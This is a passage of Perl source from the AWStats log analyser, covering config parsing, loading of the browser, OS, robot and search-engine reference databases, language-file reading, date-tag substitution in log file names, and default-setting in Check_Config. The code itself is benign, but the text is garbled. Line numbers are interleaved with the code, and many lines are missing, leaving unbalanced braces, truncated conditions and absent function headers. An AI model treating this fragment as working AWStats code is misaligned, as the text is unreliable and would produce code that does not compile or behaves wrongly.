# Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
2126
if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
2127
if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; }
2129
# Check if this is a known parameter
2130
# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
2131
# If parameters was not found previously, defined variable with name of param to value
2136
debug("Config file read was \"$configFile\" (level $level)");
2140
#------------------------------------------------------------------------------
2141
# Function: Load the reference databases
2142
# Parameters: List of files to load
2144
# Output: Arrays and Hash tables are defined
2146
#------------------------------------------------------------------------------
2149
# Check lib files in common possible directories :
2150
# Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl)
2151
# Debian package: "/usr/share/awstats/lib"
2152
my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
2154
my %DirAddedInINC = ();
2155
my @FileListToLoad = ();
2156
while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
2158
debug( "Call to Read_Ref_Data with files to load: "
2159
. ( join( ',', @FileListToLoad ) ) );
2161
foreach my $file (@FileListToLoad) {
2162
foreach my $dir (@PossibleLibDir) {
2163
my $searchdir = $dir;
2165
&& ( !( $searchdir =~ /\/$/ ) )
2166
&& ( !( $searchdir =~ /\\$/ ) ) )
2170
if ( !$FilePath{$file} )
2171
{ # To not load twice same file in different path
2172
if ( -s "${searchdir}${file}" ) {
2173
$FilePath{$file} = "${searchdir}${file}";
2176
"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
2180
# Note: cygwin perl 5.8 need a push + require file
2181
if ( !$DirAddedInINC{"$dir"} ) {
2183
$DirAddedInINC{"$dir"} = 1;
2185
my $loadret = require "$file";
2187
#my $loadret=(require "$FilePath{$file}"||require "${file}");
2191
if ( !$FilePath{$file} ) {
2192
my $filetext = $file;
2193
$filetext =~ s/\.pm$//;
2194
$filetext =~ s/_/ /g;
2196
"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
2197
. ( $PossibleLibDir[0] )
2198
. "\" directory and is readable." );
2202
# Sanity check (if loaded)
2203
if ( ( scalar keys %OSHashID )
2204
&& @OSSearchIDOrder != scalar keys %OSHashID )
2206
error( "Not same number of records of OSSearchIDOrder ("
2207
. (@OSSearchIDOrder)
2208
. " entries) and OSHashID ("
2209
. ( scalar keys %OSHashID )
2210
. " entries) in OS database. Check your file "
2211
. $FilePath{"operating_systems.pm"} );
2214
( scalar keys %SearchEnginesHashID )
2215
&& ( @SearchEnginesSearchIDOrder_list1 +
2216
@SearchEnginesSearchIDOrder_list2 +
2217
@SearchEnginesSearchIDOrder_listgen ) != scalar
2218
keys %SearchEnginesHashID
2222
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
2224
@SearchEnginesSearchIDOrder_list1 +
2225
@SearchEnginesSearchIDOrder_list2 +
2226
@SearchEnginesSearchIDOrder_listgen
2228
. " entries) and SearchEnginesHashID ("
2229
. ( scalar keys %SearchEnginesHashID )
2230
. " entries) in Search Engines database. Check your file "
2231
. $FilePath{"search_engines.pm"}
2235
if ( ( scalar keys %BrowsersHashIDLib )
2236
&& @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 8 )
2238
#foreach (sort keys %BrowsersHashIDLib)
2242
#foreach (sort @BrowsersSearchIDOrder)
2246
error( "Not same number of records of BrowsersSearchIDOrder ("
2247
. (@BrowsersSearchIDOrder)
2248
. " entries) and BrowsersHashIDLib ("
2249
. ( ( scalar keys %BrowsersHashIDLib ) - 8 )
2250
. " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
2251
. $FilePath{"browsers.pm"}
2252
. " is up to date." );
2255
( scalar keys %RobotsHashIDLib )
2256
&& ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2257
@RobotsSearchIDOrder_listgen ) !=
2258
( scalar keys %RobotsHashIDLib ) - 1
2262
"Not same number of records of RobotsSearchIDOrder_listx (total is "
2264
@RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2265
@RobotsSearchIDOrder_listgen
2267
. " entries) and RobotsHashIDLib ("
2268
. ( ( scalar keys %RobotsHashIDLib ) - 1 )
2269
. " entries without 'unknown') in Robots database. Check your file "
2270
. $FilePath{"robots.pm"}
2276
#------------------------------------------------------------------------------
2277
# Function: Get the messages for a specified language
2278
# Parameters: LanguageId
2279
# Input: $DirLang $DIR
2280
# Output: $Message table is defined in memory
2282
#------------------------------------------------------------------------------
2283
sub Read_Language_Data {
2285
# Check lang files in common possible directories :
2286
# Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl)
2287
# Debian package : "/usr/share/awstats/lang"
2288
my @PossibleLangDir =
2289
( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
2292
foreach (@PossibleLangDir) {
2295
&& ( !( $searchdir =~ /\/$/ ) )
2296
&& ( !( $searchdir =~ /\\$/ ) ) )
2300
if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
2301
$FileLang = "${searchdir}awstats-$_[0].txt";
2306
# If file not found, we try english
2308
foreach (@PossibleLangDir) {
2311
&& ( !( $searchdir =~ /\/$/ ) )
2312
&& ( !( $searchdir =~ /\\$/ ) ) )
2316
if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
2317
$FileLang = "${searchdir}awstats-en.txt";
2323
debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
2327
binmode LANG; # Might avoid 'Malformed UTF-8 errors'
2328
my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
2329
my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
2330
my $cregmessage = qr/^Message\d+=/i;
2334
if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
2335
if ( $_ =~ /$cregdir/o ) { $PageDir = $1; }
2336
if ( $_ =~ s/$cregmessage//o ) {
2337
$_ =~ s/^#.*//; # Remove comments
2338
$_ =~ s/\s+#.*//; # Remove comments
2339
$_ =~ tr/\t / /s; # Change all blanks into " "
2352
"Warning: Can't find language files for \"$_[0]\". English will be used."
2356
# Some language string changes
2357
if ( $LogType eq 'M' ) { # For mail
2358
$Message[8] = $Message[151];
2359
$Message[9] = $Message[152];
2360
$Message[57] = $Message[149];
2361
$Message[75] = $Message[150];
2363
if ( $LogType eq 'F' ) { # For web
2368
#------------------------------------------------------------------------------
2369
# Function: Substitute date tags in a string by value
2370
# Parameters: String
2371
# Input: All global variables
2372
# Output: Change on some global variables
2374
#------------------------------------------------------------------------------
2375
sub Substitute_Tags {
2376
my $SourceString = shift;
2377
if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
2379
my %MonthNumLibEn = (
2380
"01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
2381
"05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
2382
"09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
2385
while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
2387
# Accept tag %xx-dd and %xx-(dd)
2389
my $timephase = quotemeta("$2");
2390
my $timephasenb = "$2";
2391
$timephasenb =~ s/[^\d]//g;
2394
" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
2401
$oldersec, $oldermin, $olderhour, $olderday,
2402
$oldermonth, $olderyear, $olderwday, $olderyday
2404
= localtime( $starttime - ( $timephasenb * 3600 ) );
2405
my $olderweekofmonth = int( $olderday / 7 );
2406
my $olderweekofyear =
2408
( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
2410
if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
2411
my $olderdaymod = $olderday % 7;
2414
Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
2416
if ( $olderdaymod <= $olderwday ) {
2417
if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
2418
$olderweekofmonth = $olderweekofmonth + 1;
2421
if ( $olderdaymod > $olderwday ) {
2422
$olderweekofmonth = $olderweekofmonth + 2;
2425
# Change format of time variables
2426
$olderweekofmonth = "0$olderweekofmonth";
2427
if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
2428
if ( $olderyear < 100 ) { $olderyear += 2000; }
2429
else { $olderyear += 1900; }
2430
my $oldersmallyear = $olderyear;
2431
$oldersmallyear =~ s/^..//;
2432
if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
2433
if ( $olderday < 10 ) { $olderday = "0$olderday"; }
2434
if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; }
2435
if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; }
2436
if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; }
2438
# Replace tag with new value
2439
if ( $timetag eq 'YYYY' ) {
2440
$SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
2443
if ( $timetag eq 'YY' ) {
2444
$SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
2447
if ( $timetag eq 'MM' ) {
2448
$SourceString =~ s/%MM-$timephase/$oldermonth/ig;
2451
if ( $timetag eq 'MO' ) {
2452
$SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
2455
if ( $timetag eq 'DD' ) {
2456
$SourceString =~ s/%DD-$timephase/$olderday/ig;
2459
if ( $timetag eq 'HH' ) {
2460
$SourceString =~ s/%HH-$timephase/$olderhour/ig;
2463
if ( $timetag eq 'NS' ) {
2464
$SourceString =~ s/%NS-$timephase/$olderns/ig;
2467
if ( $timetag eq 'WM' ) {
2468
$SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
2471
if ( $timetag eq 'Wm' ) {
2472
my $olderweekofmonth0 = $olderweekofmonth - 1;
2473
$SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
2476
if ( $timetag eq 'WY' ) {
2477
$SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
2480
if ( $timetag eq 'Wy' ) {
2481
my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
2482
$SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
2485
if ( $timetag eq 'DW' ) {
2486
$SourceString =~ s/%DW-$timephase/$olderwday/g;
2489
if ( $timetag eq 'Dw' ) {
2490
my $olderwday0 = $olderwday - 1;
2491
$SourceString =~ s/%Dw-$timephase/$olderwday0/g;
2496
error("Unknown tag '\%$timetag' in parameter.");
2499
# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
2500
$SourceString =~ s/%YYYY/$nowyear/ig;
2501
$SourceString =~ s/%YY/$nowsmallyear/ig;
2502
$SourceString =~ s/%MM/$nowmonth/ig;
2503
$SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
2504
$SourceString =~ s/%DD/$nowday/ig;
2505
$SourceString =~ s/%HH/$nowhour/ig;
2506
$SourceString =~ s/%NS/$nowns/ig;
2507
$SourceString =~ s/%WM/$nowweekofmonth/g;
2508
my $nowweekofmonth0 = $nowweekofmonth - 1;
2509
$SourceString =~ s/%Wm/$nowweekofmonth0/g;
2510
$SourceString =~ s/%WY/$nowweekofyear/g;
2511
my $nowweekofyear0 = $nowweekofyear - 1;
2512
$SourceString =~ s/%Wy/$nowweekofyear0/g;
2513
$SourceString =~ s/%DW/$nowwday/g;
2514
my $nowwday0 = $nowwday - 1;
2515
$SourceString =~ s/%Dw/$nowwday0/g;
2517
return $SourceString;
2520
#------------------------------------------------------------------------------
2521
# Function: Check if all parameters are correctly defined. If not set them to default.
2523
# Input: All global variables
2524
# Output: Change on some global variables
2526
#------------------------------------------------------------------------------
2528
if ($Debug) { debug("Call to Check_Config"); }
2530
# Show initial values of main parameters before check
2532
debug( " LogFile='$LogFile'", 2 );
2533
debug( " LogType='$LogType'", 2 );
2534
debug( " LogFormat='$LogFormat'", 2 );
2535
debug( " LogSeparator='$LogSeparator'", 2 );
2536
debug( " DNSLookup='$DNSLookup'", 2 );
2537
debug( " DirData='$DirData'", 2 );
2538
debug( " DirCgi='$DirCgi'", 2 );
2539
debug( " DirIcons='$DirIcons'", 2 );
2540
debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 );
2541
debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
2542
debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
2543
debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 );
2544
debug( " BuildReportFormat=$BuildReportFormat", 2 );
2545
debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
2547
" URLWithQueryWithOnlyFollowingParameters="
2548
. ( join( ',', @URLWithQueryWithOnly ) ),
2552
" URLWithQueryWithoutFollowingParameters="
2553
. ( join( ',', @URLWithQueryWithout ) ),
2559
$LogFile = &Substitute_Tags($LogFile);
2561
error("LogFile parameter is not defined in config/domain file");
2563
if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
2564
$LogFormat =~ s/\\//g;
2565
if ( !$LogFormat ) {
2566
error("LogFormat parameter is not defined in config/domain file");
2568
if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
2570
"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
2573
$LogSeparator ||= "\\s";
2575
$DirCgi ||= '/cgi-bin';
2576
$DirIcons ||= '/icon';
2577
if ( $DNSLookup !~ /[0-2]/ ) {
2579
"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
2582
if ( !$SiteDomain ) {
2584
"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
2587
if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
2588
$AllowToUpdateStatsFromBrowser = 0;
2590
if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
2592
# Optional setup section
2593
if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; }
2594
if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
2595
$DNSStaticCacheFile ||= 'dnscache.txt';
2596
$DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
2597
if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
2599
"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
2602
if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
2603
$AllowAccessFromWebToAuthenticatedUsersOnly = 0;
2605
if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
2606
$CreateDirDataIfNotExists = 0;
2608
if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
2609
$BuildReportFormat = 'html';
2611
if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
2612
if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
2613
$SaveDatabaseFilesWithPermissionsForEveryone = 0;
2615
if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
2616
if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
2617
$KeepBackupOfHistoricFiles = 0;
2619
$DefaultFile[0] ||= 'index.html';
2620
if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
2621
$AuthenticatedUsersNotCaseSensitive = 0;
2623
if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
2624
if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; }
2625
$URLQuerySeparators =~ s/\s//g;
2626
if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; }
2627
if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; }
2628
if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
2629
if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; }
2630
if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; }
2632
if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
2634
$NbOfLinesForCorruptedLog = 50;
2636
if ( $Expires !~ /^\d+/ ) { $Expires = 0; }
2637
if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
2638
$MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
2640
# Optional accuracy setup section
2641
if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; }
2642
if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
2643
if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
2644
$LevelForBrowsersDetection = 2;
2645
} # Can be 'allphones'
2646
if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; }
2647
if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
2648
if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
2649
$LevelForFileTypesDetection = 2;
2651
if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
2652
$LevelForSearchEnginesDetection = 2;
2654
if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
2655
$LevelForKeywordsDetection = 2;
2658
# Optional extra setup section
2659
foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
2660
if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
2661
$ExtraStatTypes[$extracpt] = 'PHBL';
2663
if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/
2664
|| $MaxNbOfExtra[$extracpt] < 0 )
2666
$MaxNbOfExtra[$extracpt] = 20;
2668
if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
2670
$MinHitExtra[$extracpt] = 1;
2672
if ( !$ExtraFirstColumnValues[$extracpt] ) {
2674
"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
2677
if ( !$ExtraFirstColumnFormat[$extracpt] ) {
2678
$ExtraFirstColumnFormat[$extracpt] = '%s';
2682
# Optional appearance setup section
2683
if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
2684
$MaxRowsInHTMLOutput = 1000;
2686
if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; }
2687
if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; }
2688
if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
2689
if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
2690
$ShowDaysOfMonthStats = 'VPHB';
2692
if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
2693
if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; }
2694
if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; }
2695
if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; }
2697
if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
2698
$ShowAuthenticatedUsers = 0;
2700
if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; }
2701
if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; }
2702
if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; }
2703
if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; }
2704
if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; }
2705
if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; }
2706
if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; }
2707
if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; }
2708
if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; }
2709
if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; }
2710
if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; }
2711
if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; }
2712
if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; }
2713
if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; }
2714
if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; }
2715
if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; }
2716
if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; }
2717
if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; }
2718
if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
2720
if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
2721
$AddDataArrayShowDaysOfMonthStats = 1;
2723
if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
2724
$AddDataArrayShowDaysOfWeekStats = 1;
2726
if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
2727
$AddDataArrayShowHoursStats = 1;
2730
'Domain', 'HostsShown',
2731
'LoginShown', 'RobotShown',
2732
'WormsShown', 'PageShown',
2733
'OsShown', 'BrowsersShown',
2734
'ScreenSizesShown', 'RefererShown',
2735
'KeyphrasesShown', 'KeywordsShown',
2738
my @maxnboflistdefaultval =
2739
( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
2740
foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
2741
if ( !$MaxNbOf{ $maxnboflist[$i] }
2742
|| $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
2743
|| $MaxNbOf{ $maxnboflist[$i] } < 1 )
2745
$MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
2749
'Domain', 'Host', 'Login', 'Robot',
2750
'Worm', 'File', 'Os', 'Browser',
2751
'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
2754
my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
2755
foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
2756
if ( !$MinHit{ $minhitlist[$i] }
2757
|| $MinHit{ $minhitlist[$i] } !~ /^\d+$/
2758
|| $MinHit{ $minhitlist[$i] } < 1 )
2760
$MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
2763
if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; }
2764
if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
2765
if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
2766
$DetailedReportsOnNewWindows = 1;
2768
if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
2769
if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
2770
$MaxLengthOfShownURL = 64;
2772
if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
2773
$Logo ||= 'awstats_logo6.png';
2774
$LogoLink ||= 'http://awstats.sourceforge.net';
2775
if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; }
2776
if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
2777
$color_Background =~ s/#//g;
2778
if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
2779
$color_Background = 'FFFFFF';
2781
$color_TableBGTitle =~ s/#//g;
2783
if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
2784
$color_TableBGTitle = 'CCCCDD';
2786
$color_TableTitle =~ s/#//g;
2787
if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
2788
$color_TableTitle = '000000';
2790
$color_TableBG =~ s/#//g;
2791
if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
2792
$color_TableRowTitle =~ s/#//g;
2793
if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
2794
$color_TableRowTitle = 'FFFFFF';
2796
$color_TableBGRowTitle =~ s/#//g;
2797
if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
2798
$color_TableBGRowTitle = 'ECECEC';
2800
$color_TableBorder =~ s/#//g;
2801
if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
2802
$color_TableBorder = 'ECECEC';
2804
$color_text =~ s/#//g;
2805
if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
2806
$color_textpercent =~ s/#//g;
2807
if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
2808
$color_textpercent = '606060';
2810
$color_titletext =~ s/#//g;
2811
if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
2812
$color_weekend =~ s/#//g;
2813
if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
2814
$color_link =~ s/#//g;
2815
if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
2816
$color_hover =~ s/#//g;
2817
if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
2818
$color_other =~ s/#//g;
2819
if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
2821
if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
2823
if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
2825
if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
2827
if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
2829
if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
2831
if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
2833
if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
2835
if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
2837
# Correct param if default value is asked
2838
if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; }
2839
if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; }
2840
if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; }
2841
if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; }
2842
if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; }
2843
if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; }
2844
if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; }
2845
if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; }
2846
if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; }
2847
if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
2848
if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; }
2849
if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; }
2850
if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; }
2851
if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; }
2852
if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; }
2853
if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; }
2854
if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
2856
# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
2857
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2859
foreach my $conditioncouple (
2860
split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
2862
my ( $conditiontype, $conditiontypeval ) =
2863
split( /[,:]/, $conditioncouple, 2 );
2864
$ExtraConditionType[$extranum][$part] = $conditiontype;
2865
if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
2866
$conditiontypeval = $1;
2869
#else { $conditiontypeval=quotemeta($conditiontypeval); }
2870
$ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
2874
foreach my $rowkeycouple (
2875
split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
2877
my ( $rowkeytype, $rowkeytypeval ) =
2878
split( /[,:]/, $rowkeycouple, 2 );
2879
$ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
2880
if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
2882
#else { $rowkeytypeval=quotemeta($rowkeytypeval); }
2883
$ExtraFirstColumnValuesTypeVal[$extranum][$part] =
2884
qr/$rowkeytypeval/i;
2889
# Show definitive value for major parameters
2891
debug( " LogFile='$LogFile'", 2 );
2892
debug( " LogFormat='$LogFormat'", 2 );
2893
debug( " LogSeparator='$LogSeparator'", 2 );
2894
debug( " DNSLookup='$DNSLookup'", 2 );
2895
debug( " DirData='$DirData'", 2 );
2896
debug( " DirCgi='$DirCgi'", 2 );
2897
